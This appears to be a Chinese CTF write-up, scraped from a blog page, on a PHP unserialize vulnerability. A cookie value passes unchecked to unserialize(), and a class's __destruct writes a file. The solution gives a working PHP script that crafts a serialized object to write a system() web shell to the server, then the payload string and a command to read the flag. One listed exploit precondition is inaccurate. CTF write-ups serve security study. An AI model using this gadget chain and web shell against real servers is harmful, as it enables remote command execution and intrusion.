php的反序列化漏洞
代码:

<?php
class Person {private static $defaults = ['name'     => null,'gender'   => null,'address'  => null,'birth'    => null,'married'  => null,'flag'     => false,];private $data;public function __construct(array $data = []) {$this->data = array_replace(self::$defaults, $data);// Easy for you :)if (strlen($this->getName() . $this->getGender() . $this->getAddress()) !== 24) {$this->setFlag(false);return;}if (!preg_match('/^[\w]{4}_you_$/', $this->getName()) ||substr($this->getName(), 0, 4) !== 'Wish') {$this->setFlag(false);return;}if ($this->getGender() !== chr(65)) {$this->setFlag(false);return;}$this->setAddress('_happy_holiday'); // uhu?if (!$this->getBirth()) {$this->setFlag(false);return;} elseif ($this->getBirth() && !is_numeric($this->getBirth())) {$this->setBirth($this->getBirth());}if ($this->getBirth() < 1485532800) {  // New Year$this->setFlag(false);return;}}public function toArray() {return $this->data;}public function getName() {return $this->data['name'];}public function setName($name) {$this->data['name'] = $name;}public function getGender() {return $this->data['gender'];}public function setGender($gender) {$this->data['gender'] = $gender;}public function getAddress() {return $this->data['address'];}public function setAddress($address) {$this->data['address'] = $address;}public function getBirth() {return $this->data['birth'];}public function setBirth($timestamp) {$this->data['birth'] = is_numeric($timestamp)? (int) $timestamp: strtotime($timestamp);}public function getMarried() {return $this->data['married'];}public function setMarried($married) {$this->data['married'] = $married;}public function getFlag() {return $this->data['flag'];}public function setFlag($flag) {$this->data['flag'] = $flag;}
}class Storing {private $filename;private $persons = [];public function setPerson(Person $person) {$this->persons[] = $person;}public function __construct($personFile) {$this->filename = $personFile;}public function __destruct() {$this->save($this->filename);}public function save($filename) {$json = [];foreach ($this->persons as $person)if ($person->getFlag())$json[] = $person->toArray();file_put_contents($filename, json_encode($json));}
}if (isset($_COOKIE['newyear'])) {$data = unserialize($_COOKIE['newyear']);
} else {
?>
<!DOCTYPE HTML>
<html>
<head><meta charset="utf-8"><title>Ohhhhhhh!</title><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><style type="text/css">.center {position: absolute;left: 50%;margin-right: -50%;transform: translate(-50%, -0%)}.below {position: absolute;left: 50%;top: 50%;transform: translate(-50%, -50%);}</style><link rel="stylesheet" type="text/css" href="/assets/css/flipclock.css">
</head>
<body style="background-image: url(/assets/img/9.jpg);background-size:cover;"><div class="center below"><div id="clock"></div></div>
</body>
<script type="text/javascript" src="/assets/js/jquery-3.1.1.min.js"></script>
<script type="text/javascript" src="/assets/js/flipclock.min.js"></script>
<script type="text/javascript">
var end  = new Date(Date.UTC(2017, 0, 27, 16, 0, 0));
var now  = new Date();
var diff  = end.getTime() - now.getTime();
var clock = $('#clock').FlipClock(diff/1000, {clockFace: 'DailyCounter',countdown: true
});
</script>
</html>
<?php } ?>

上述代码中,用户控制的值可能会被传递到php的反序列化函数,在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发送。
为了成功地利用上述漏洞,必须满足三个条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。
2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。
3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。
题解:
根据给出的类构造payload生成脚本

$obj = new Storing('/var/www/shell.php');
$payload = '<?php echo system($_POST[\'poc\']); ?>';
$obj->setPerson(new Person([
'name'=> 'Wish_you_',
'gender'=> 'A',
'address' => '_happy_holiday',
'birth'=> 1485532801,
'married' => $payload,
'flag' => true])
);
file_put_contents('./built_payload_poc', serialize($obj));

打开built_payload_poc就可以发现payload

O:7:"Storing":2:{s:17:"^@Storing^@filename";s:18:"/var/www/html/1-web02/shell.php";s:16:"^@Storing^@persons";a:1:{i:0;O:6:"Person":1:{s:12:"^@Person^@data";a:6:{s:4:"name";s:9:"Wish_you_";s:6:"gender";s:1:"A";s:7:"address";s:14:"_happy_holiday";s:5:"birth";i:1485532801;s:7:"married";s:36:"<?php echo system($_POST['poc']); ?>";s:4:"flag";b:1;}}}}

将payload编码后放入cookies中,然后就可以向目标写入shell.php
然后通过一句话木马拿到flag.txt中的flag

poc=cat%20/flag.php

CTF web题总结--unserizable相关推荐

  1. CTF Web题 部分WP

    1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...

  2. i春秋python_i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  3. hxp 36C3 CTF Web题 WriteupBin Writeup (Selenium模拟点击+Content Security Policy+Nonce+Parsley.js触发错误提示)

    WriteupBin – A web challenge from hxp 36C3 CTF https://ctftime.org/event/825 题目部署 本地搭建: 解压WriteupBin ...

  4. mysql 南邮ctf_南邮ctf web题记录(上)

    1.签到题 f12看源码就行了. md5 collision 题目贴出了源码,按照题意,a不等于QNKCDZO但是md5与QNKCDZO的md5相等时就可以获得flag. 如果两个字符经MD5加密后的 ...

  5. CTF web题总结--LFI

    本地文件包含漏洞(Local File Include),是php的include()函数存在设计缺陷,学习链接:php文件包含漏洞总结 题目的url都是类似这种: http://127.0.0.1/ ...

  6. CTF web题 wp:

    1.签到题 火狐F12查看源码,发现注释: 一次base64解码出flag 2.Encode 在这里插入图片描述 和第一题界面一样?? 轻车熟路f12: 发现编码: 格式看上去是base64,连续两次 ...

  7. 四个有关文件传输的CTF WEB题(深育杯FakeWget、极客大挑战where_is_my_FUMO、2021陇原战疫CheckIN、N1CTF-curl trick)

    文章目录 深育杯FakeWget 极客大挑战where_is_my_FUMO 2021陇原战疫CheckIN N1CTF-curl trick wp来自官方发布和个人想法,觉得这四个题挺有意思的所以整 ...

  8. CTF Web题部分PHP魔术方法总结(Magic Methods)

    几个常见的PHP魔术方法 简单介绍 详细介绍 __sleep() __wakeup() __get() __set() __isset() __unset() __construct() __dest ...

  9. CTF web题总结--爆破用户名密码

    1.burp爆破用户名密码 2.id,userid,useId多试几次 3.爆破后台目录,index.php,users.php,login.php,flag.php 4.脚本: # -*- codi ...

最新文章

  1. R语言时间序列(time series)分析实战:霍尔特指数Holt‘s平滑法预测
  2. esp32 python-在esp32上配置运行microPython
  3. php 利用redis写一个聊天室,Redis实现多人多聊天室功能
  4. linux编译ace tao,CentOS环境下ACE编译指南
  5. python引用自己的文件的一切问题
  6. vxworks任务通信机制
  7. 你究竟值多少钱?2021 科技行业薪酬分析
  8. 海康/大华/宇视等网络摄像头云台控制功能探测方法解析
  9. 某知名大学学生毕业设计, Java学好了就是厉害
  10. 微信群控云控客服开发SDK
  11. 【5G RRC】Master Information Block (NR-MIB)
  12. Linkedin被“豪吞”,是互联网时代垄断者的网络效应
  13. vue 省市区选择插件v-distpicker设置初值与选择后触发方法
  14. 【2021年第三届全国高校计算机能力挑战赛】大数据应用赛
  15. Javascript的undefined和notdefined的区别
  16. NVIDIA中文车牌识别系列-3:使用TLT训练车牌号识别LPR模型
  17. 根据灰度直方图调整图象亮度
  18. 电信无线网固定ip参数
  19. 进军东南亚市场,腾讯云数据库 TDSQL 助力印尼 BNC 银行数字化转型
  20. tp5 自动加上html,【TP5.1】HTML标签自动转义,导致CKEditor保存内容无法正常显示!...

热门文章

  1. python序列类型-python序列类型包括哪三种
  2. python实现文件下载-python实现上传下载文件功能
  3. 精通python语言要多久-这样学可以精通Python语言
  4. python培训学校-培训Python学校哪家好?推荐老男孩IT培训机构
  5. python主要运用于-python主要应用领域有哪些?看这一篇就够了
  6. win10+VS2013+opencv2.4.11的安装和配置
  7. LeetCode Implement strStr(kmp或者BM)
  8. UVa133 - The Dole Queue
  9. 防止重复提交保证幂等的几种解决方案
  10. 用git提交代码时,由于进程加锁,突然崩溃,未来得及解锁,导致其他进程访问不了...